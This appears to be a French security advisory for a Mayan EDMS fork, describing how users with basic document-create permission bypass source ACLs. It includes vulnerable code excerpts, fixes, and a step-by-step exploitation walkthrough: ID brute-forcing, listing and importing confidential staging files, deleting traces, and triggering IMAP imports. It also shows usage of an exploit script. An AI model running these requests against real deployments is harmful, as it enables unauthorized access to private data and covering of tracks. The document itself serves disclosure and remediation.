permission_sources_viewSévérité : HIGH
Confiance : 8/10 (variable selon le type de source)
Statut : OUVERT
Applications affectées : sources, source_stored_files, source_staging_folders, source_staging_storages, source_web_forms, source_emails
Applications non affectées : source_watch_folders, source_watch_storages
Avec la simple permission permission_document_create — celle qu'on donne à tout contributeur — un utilisateur peut lister, prévisualiser, importer et supprimer des fichiers depuis les sources interactives (Staging Folder, Web Form, Email), même celles restreintes par ACL. La protection par permission_sources_view est contournée au niveau des endpoints d'exécution d'actions. Les sources périodiques (Watch Folder/Storage) sont protégées car elles utilisent permission_sources_edit.
| Source | Classe d'action | Permission utilisée | Actions exposées | Exploitable ? |
|---|---|---|---|---|
| Staging Folder | SourceBackendActionFileStoredList |
permission_document_create |
file_list |
✅ OUI |
| Staging Folder | SourceBackendActionFileStoredImage |
permission_document_create |
file_image |
✅ OUI |
| Staging Folder | SourceBackendActionFileStoredDocumentUpload |
permission_document_create |
document_upload |
✅ OUI |
| Staging Folder | SourceBackendActionFileStoredDeleteInteractive |
permission_document_create |
file_delete |
✅ OUI |
| Staging Storage | (mêmes classes que Staging Folder) | permission_document_create |
file_list, file_image, document_upload, file_delete |
✅ OUI |
| Web Form | SourceBackendActionInteractiveDocumentUpload |
permission_document_create |
document_upload |
✅ OUI |
| Email (IMAP/POP3) | SourceBackendActionEmailDocumentUpload |
permission_document_create |
document_upload |
✅ OUI |
| Watch Folder | SourceBackendActionPeriodicDocumentUpload |
permission_sources_edit |
document_upload |
❌ NON |
| Watch Storage | SourceBackendActionPeriodicDocumentUpload |
permission_sources_edit |
document_upload |
❌ NON |
Point clé : Les sources Watch Folder/Storage sont protégées car
SourceBackendActionPeriodicDocumentUploadutilisepermission_sources_edit(ligne 39 desource_periodic/source_backend_actions/periodic_actions.py), contrairement aux sources interactives qui utilisentpermission_document_create.
mayan_external_object_permission_mapFichier : mayan/apps/sources/api_views/source_action_api_views.py:33-41
class APISourceActionExecuteView(
ParentObjectSourceAPIViewMixin, generics.ObjectActionAPIView
):
"""
get: Execute a source action without confirmation.
post: Execute a source action with confirmation.
"""
lookup_url_kwarg = 'action_name'
serializer_class = SourceBackendActionSerializer
# ❌ AUCUN mayan_external_object_permission_map défini
Comparez avec les vues sœurs qui, elles, vérifient correctement :
# APISourceActionDetailView (ligne 21) :
mayan_external_object_permission_map = {'GET': permission_sources_view} # ✅
# APISourceActionListView (ligne 145) :
mayan_external_object_permission_map = {'GET': permission_sources_view} # ✅
get_source() sans filtrage ACLFichier : mayan/apps/sources/api_view_mixins.py:12-32
def get_source(self, permission=None):
queryset = self.get_parent_queryset_source() # Source.objects.all()
if not permission:
mayan_external_object_permission_map = getattr(
self, 'mayan_external_object_permission_map', {}
)
permission = mayan_external_object_permission_map.get(
self.request.method, None # ← retourne None car map vide
)
if permission: # ← False, on saute le bloc
queryset = AccessControlList.objects.restrict_queryset(...)
return get_object_or_404( # ← Source.objects.all() BRUT
queryset=queryset, pk=self.kwargs['source_id']
)
Sans mayan_external_object_permission_map, la variable permission reste None. Le if permission: est faux — aucun filtrage ACL n'est appliqué. La source est retournée quelle que soit l'ACL configurée.
Fichier : mayan/apps/sources/api_views/source_action_api_views.py:54-77
def get_object(self):
source = self.get_source() # ← déjà récupérée sans ACL
action = source.get_action(name=self.kwargs['action_name'])
action_permission = action.permission # ← permission_document_create
if action_permission:
queryset = AccessControlList.objects.restrict_queryset(
permission=action_permission, # permission_document_create
queryset=self.get_parent_queryset_source(), # Source.objects.all()
user=self.request.user
)
get_object_or_404(queryset=queryset, pk=self.kwargs['source_id'])
On vérifie permission_document_create — une permission du namespace documents — contre le modèle Source. C'est une incohérence de namespace.
Fichier : mayan/apps/acls/managers.py:296-322
def restrict_queryset(self, permission, queryset, user):
# Vérifie d'abord si l'utilisateur a la permission via un RÔLE
try:
Permission.check_user_permission(
permission=permission, user=user
)
except PermissionDenied:
# N'a PAS la permission globale → filtre par ACL objet
acl_filters = self._get_acl_filters(...)
return queryset.filter(final_query)
else:
# A la permission via un rôle → retourne TOUT le queryset SANS FILTRER
return queryset
Tout utilisateur avec permission_document_create dans son rôle passe le check_user_permission → le else retourne le queryset entier. La source est considérée comme « autorisée ».
Fichier : mayan/apps/source_stored_files/source_backend_actions/stored_file_actions.py:39-108
class SourceBackendActionFileStoredDeleteInteractive(...):
name = 'file_delete'
permission = permission_document_create # ← permission document!
class SourceBackendActionFileStoredDocumentUpload(...):
name = 'document_upload'
permission = permission_document_create # ← permission document!
class SourceBackendActionFileStoredImage(...):
confirmation = False # ← accessible en GET !
name = 'file_image'
permission = permission_document_create # ← permission document!
class SourceBackendActionFileStoredList(...):
confirmation = False # ← accessible en GET !
name = 'file_list'
permission = permission_document_create # ← permission document!
Fichier : mayan/apps/source_periodic/source_backend_actions/periodic_actions.py:28-41
class SourceBackendActionPeriodicDocumentUpload(
...
SourceBackendAction
):
name = 'document_upload'
permission = permission_sources_edit # ✅ permission admin source
Et dans source_watch_folders/source_backends.py:27 :
class SourceBackendWatchFolder(...):
action_class_list = (SourceBackendActionPeriodicDocumentUpload,) # une seule action
Le Watch Folder n'expose qu'une action, et elle utilise permission_sources_edit — inaccessible à un simple contributeur.
Fichier : mayan/apps/sources/views/source_views.py:45-51
class SourceActionView(...):
external_object_pk_url_kwarg = 'source_id'
external_object_queryset = Source.objects.filter(enabled=True)
# ❌ Pas de external_object_permission
Un utilisateur disposant uniquement de permission_document_create (la permission contributeur de base) peut, sur les sources Staging Folder et Staging Storage :
file_list — GET, confirmation=False)file_image — GET, confirmation=False)document_upload)file_delete)Sur les sources Web Form et Email :
document_upload uniquement)permission_credential_useLes sources Watch Folder/Storage ne sont PAS exploitables.
/var/sensitive/rh-docs/permission_sources_view sur cette sourcepermission_document_create (upload via formulaire web) mais pas accès à la source RHÉtape 1 — Découverte par bruteforce :
GET /api/v4/sources/1/actions/document_upload/execute/ → 404 (source inexistante)
GET /api/v4/sources/2/actions/document_upload/execute/ → 404
GET /api/v4/sources/3/actions/document_upload/execute/ → 404
GET /api/v4/sources/4/actions/document_upload/execute/ → 405 (source existe, action trouvée)
GET /api/v4/sources/5/actions/document_upload/execute/ → 404
Un 405 (Method Not Allowed) confirme que l'action document_upload existe sur la source 4.
Étape 2 — Listage des fichiers :
GET /api/v4/sources/4/actions/file_list/execute/
→ [
{"encoded_filename": "c2FsYWlyZXNfMjAyNC5wZGY=", "filename": "salaires_2024.pdf", "size": 245760},
{"encoded_filename": "Y29udHJhdF9jb25maWRlbnRpZWwucGRm", "filename": "contrat_confidentiel.pdf", "size": 128000}
]
Étape 3 — Prévisualisation :
GET /api/v4/sources/4/actions/file_image/execute/?encoded_filename=c2FsYWlyZXNfMjAyNC5wZGY=
→ Image PNG de la première page de salaires_2024.pdf
Étape 4 — Import dans Mayan :
POST /api/v4/sources/4/actions/document_upload/execute/
{"arguments": {"encoded_filename": "c2FsYWlyZXNfMjAyNC5wZGY="}}
→ Document créé, maintenant visible dans la liste des documents d'Alice
Étape 5 — Suppression des traces :
POST /api/v4/sources/4/actions/file_delete/execute/
{"arguments": {"encoded_filename": "c2FsYWlyZXNfMjAyNC5wZGY="}}
→ Fichier supprimé du dossier staging
Si la source 5 est une source IMAP configurée avec un credential :
POST /api/v4/sources/5/actions/document_upload/execute/
→ L'action utilise automatiquement le credential stocké (sans vérifier permission_credential_use)
→ Connexion au serveur IMAP, récupération des emails
→ Chaque email est importé comme document dans Mayan
→ Les headers (From, To, Subject, Date, Received...) sont stockés comme métadonnées
| Condition | Détail |
|---|---|
| Authentification | Oui — utilisateur Mayan valide |
| Permission minimale | permission_document_create (contributeur de base) |
| Sources vulnérables | Staging Folder, Staging Storage, Web Form, Email (IMAP/POP3) |
| Sources non vulnérables | Watch Folder, Watch Storage |
| Découverte des IDs | Bruteforce (IDs séquentiels) |
| Accès réseau | Accès à l'API REST Mayan |
| Configuration spéciale | Aucune |
mayan_external_object_permission_map (prioritaire)# mayan/apps/sources/api_views/source_action_api_views.py
class APISourceActionExecuteView(...):
mayan_external_object_permission_map = {
'GET': permission_sources_view,
'POST': permission_sources_view
}
external_object_permission à la vue HTML# mayan/apps/sources/views/source_views.py
class SourceActionView(...):
external_object_permission = permission_sources_view
# mayan/apps/source_stored_files/source_backend_actions/stored_file_actions.py
# Remplacer permission_document_create par permission_sources_view
# pour file_list, file_image, file_delete, document_upload
get_object()def get_object(self):
source = self.get_source(permission=permission_sources_view)
action = source.get_action(name=self.kwargs['action_name'])
...
Un script Python d'exploitation est disponible dans le dépôt : exploit_source_action_bypass.py
# Mode interactif
python3 exploit_source_action_bypass.py --url https://mayan.cool.local --user alice --password secret123
# Mode batch (listing seulement)
python3 exploit_source_action_bypass.py --url https://mayan.cool.local --user alice --password secret123 --batch
Le script détecte automatiquement quelles actions sont disponibles sur chaque source et n'affiche que les commandes applicables (ex: list seulement pour les Staging Folder, upload seulement pour les Web Form). Les sources Watch Folder apparaissent sans actions exploitables.
| Élément | Localisation |
|---|---|
| Vue API vulnérable | mayan/apps/sources/api_views/source_action_api_views.py:33-41 |
| Méthode get_source() | mayan/apps/sources/api_view_mixins.py:12-32 |
| get_object() vérification factice | mayan/apps/sources/api_views/source_action_api_views.py:54-77 |
| Bypass ACL par rôle | mayan/apps/acls/managers.py:296-322 |
| Actions Staging (vulnérables) | mayan/apps/source_stored_files/source_backend_actions/stored_file_actions.py:39-108 |
| Action Watch Folder (protégée) | mayan/apps/source_periodic/source_backend_actions/periodic_actions.py:28-41 |
| Vue HTML vulnérable | mayan/apps/sources/views/source_views.py:45-51 |
| Script d'exploitation | exploit_source_action_bypass.py |
Analysé le 2026-05-02 — Fork 4.11.1+egyptian.1, branche egyptian.